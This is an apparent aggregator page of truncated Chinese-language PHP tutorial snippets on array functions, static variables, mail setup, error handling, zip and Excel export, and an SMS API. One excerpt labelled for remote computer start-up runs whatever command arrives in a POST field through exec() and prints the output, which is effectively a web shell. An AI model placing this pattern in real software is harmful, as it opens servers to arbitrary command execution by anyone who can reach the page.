Time of Update: 2016-07-13
function sendHeader($num, $rtarr = null) { static $sapi = null; if ($sapi === null) { $sapi = php_sapi_name(); } return $sapi++; 看PW源碼的時候發現setHeader()函數中使用static關鍵字,很奇怪,以前也沒這樣用過。static用在函數裡面,聲明一次變數後,如果再次調用這個函數將會在初始值延續,如$sapi這裡將累加。
Time of Update: 2016-07-13
function rand_string($len = 6, $type = '', $addChars = '') { $str = ''; switch ($type) { case 0 : $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' . $addChars;
Time of Update: 2016-07-13
1. 2. /** 3. * 遠程啟動電腦 4. * 注意:iis/apache需要有windows/system/cmd.exe執行許可權 5. * 6. **/ 7. if (isset($_POST['cmd'])) { 8. $cmd= stripslashes( $_POST['cmd'] ); 9. exec( $cmd,$out); 10. var_dump($out); 11. echo '';
Time of Update: 2016-07-13
1 2 $count = 5; 3 start: 4 if($count 5 echo "Put Password: "; 6 $handle = fopen ("php://stdin","r"); 7 $line = fgets($handle); 8 if(trim($line) != '123456'){ 9 $count--;10 if(!$count) goto error;11 goto start;12 }13 goto
Time of Update: 2016-07-13
class PHPZip { private $ctrl_dir = array(); private $datasec = array(); /********************************************************** * ѹ�����
Time of Update: 2016-07-13
PHP的mail() 郵件函數很簡單,但也導致了不能使用目前流行的 帶驗證功能的 SMTP 伺服器(gmail, 163, 126等)現在通過配置 XAMPP 提供的 sendmail 來使得 PHP 的 mail() 函數可以正常發送郵件,下面以:smtp.126.com 為例:1. 找到 xampp/php/php.ini 檔案,找到 [mail function] 語句塊,修改如下:1 [mail function]2 SMTP = smtp.126.com3 smtp_port = 2
Time of Update: 2016-07-13
先謝謝大家的鼓勵與支援,這是第2篇了。也是這個部落格系統最核心的東西。這個部落格寫完後,我會把它放在我的部落格網站。這裡也有我的一個簡曆。廢話不多說了,上一篇有個核心概念就是 give action do something !這篇我就用代碼來解釋這個概念是啥意思,先看我的 post.class.php . 這個檔案是我們的資料層處理類。簡單介紹一下這個model 類,它繼承了一個資料庫基類來做crud 等常用操作, 每次初始化時就會初始化一個資料庫物件 $db.
Time of Update: 2016-07-13
public static function saveExcel($objPHPExcel, $excelName, $output) { $objWriter = PHPExcel_IOFactory::createWriter ( $objPHPExcel, 'Excel5' ); if (! strpos ( $_SERVER ['HTTP_USER_AGENT'], 'Firefox' )) $excelName =
Time of Update: 2016-07-13
本人本科學曆,自學PHP大半年多了,斷斷續續地,但是最終還是堅定了我的想法,將PHP繼續下去,所以寫這個PHP的部落格是為了找個穩定的 PHP工作,不求工資多高,但求一收留之地。我能看懂大部分英語文檔,人不蠢,愛學習,有興趣地可以聯絡下!有誠意的來吧!qq:240382473我會分3-5次發布所有關鍵代碼和文檔說明,部落格後台所有的樣式均套用部落格園!說明:1. 不完全採用MVC架構,但是理念就是這樣的。因為還不能寫出很穩定的MVC架構。2.幾乎不採用JQUERY AJAX
Time of Update: 2016-07-13
array_unshitf() 在數組的開頭插入一個或多個單元【功能】 該函數將傳入的單元插入到指定數組的開頭 注意單元是作為整體被插入的,因此傳入單元將保持同樣的順序 所有的數值鍵名將修改為從零開始重新計數,所有的文字鍵名保持不變 最後返回數組新的單元數目【使用範圍】 php4、php5.【使用】 int array_unshift( array &array,mixed var[,mixed...
Time of Update: 2016-07-13
程式只要在運行,就免不了會出現錯誤!或早或晚,只是時間問題罷了。錯誤很常見,比如Notice,Warning等等。此時一般使用set_error_handler來處理:set_error_handler(function($errno, $errstr, $errfile, $errline) { var_dump($errno, $errstr, $errfile, $errline);});// Notice: Use of undefined constant
Time of Update: 2016-07-13
array_combine() 函數 【功能】 通過合并兩個數組來建立一個新數組, 其中的一個數組是鍵名,另一個數組的值為索引值。 【使用範圍】該函數為php5新增的一個函數。php5。 【文法】 array array_combine( array keys,array values ) keys/必需/規定鍵名 values/必需/規定值
Time of Update: 2016-07-13
按N天分隔時間, 求出每一個時間段的開始和結束. 例如按7天分隔裡頭, 求目前時間所處的區間的開始和結束. 要注意時區!注意, 不要簡單地對時間戳記模數, 而是要對時間戳記與開始時間(1970-01-01)的距離進行模數.$step = 7;$zerotime = strtotime('1970-01-01'); // 不一定是0!$span = ($time - $zerotime) % ($step * 86400);$stime = $time -
Time of Update: 2016-07-13
range() 函數【功能】 該函數將返回數組中從low到high的單元, 包含他們本身,如果low>high,則序列從high到low【使用範圍】 >=3.0.8、php4、php5【使用】 range(first,second,step) first/必需/規定數組元素最小值 second/必需/規定數組元素最大值
Time of Update: 2016-07-13
對象 OOP1.Fatal error: Using $this when not in object context這個錯誤剛學 OOP 肯定容易出現,因為有個概念你沒有真正理解。 類的可訪問性(accessible),也可以說是範圍, 你還可以認為是 1個 中國人 在國外,他不屬於哪個文化,他不講外語(可能他知道點);但是他無法通過自己跟老外溝通,因為他們不是在一個共同國度出生。那麼錯誤是如何發生的呢?看下面的例子: 1 2 class Trones{ 3 static
Time of Update: 2016-07-13
看到網上有人寫,但是不怎麼特別的具體,我是一個新手,所以看起來有的累,所以特地還是仔仔細細看了遍PHP的手冊,然後按照新手的思維方式寫了下面的文字。 有如下運算式: stringdate ( string $format [, int $timestamp ] )(註:可能剛學的人對後面的 [,int $timestamp
Time of Update: 2016-07-13
這些是寫給初級PHP程式員或者入門不久的同學的,老鳥可以飄過,歡迎補充和評論;接受合理意見與批評。這些PHP的概念,有些剛開始比較難懂,很難理解,我把他們都列出來,希望能協助一些人,在前進的路上少點荊棘。1. variable variables(變數的變數)variable_variables.php View Code $a = 'hello';$hello = 'hello everyone';echo $$a.'';$b = '
Time of Update: 2016-07-13
chunk() 函數【功能】 該函數將將一個數組分割成多個數組, 其中每個數組的單元數目有size決定 最後一個數組的單元數目可能會少幾個 得到的數組是一個多維陣列中的單元,其索引從零開始【使用範圍】 >=4.2.0、php5【使用】 array array_chunk(array input ,int size [,bool preserve_keys] )
Time of Update: 2016-07-13
原字串1,2,3,4,5,6,去掉最後一個字元",",最終結果為1,2,3,4,5,6代碼如下:$str = "1,2,3,4,5,6,";$newstr = substr($str,0,strlen($str)-1);echo $newstr; //echo 1,2,3,4,5,6 系統內建的函數即可實現這樣的效果,兩種方法:1) substr($str, 0, -1)2)rtrim($str, ",") 摘自 〃Style ひぐhttp://www.bkjia.com/PHPjc/47818
Time of Update: 2016-07-13
調用 TextMagic++ API。 // Include the TextMagicPHP lib require('textmagic-sms-api-php/TextMagicAPI.php'); // Set the username andpassword information $username = 'myusername'; $password = 'mypassword'; // Create a new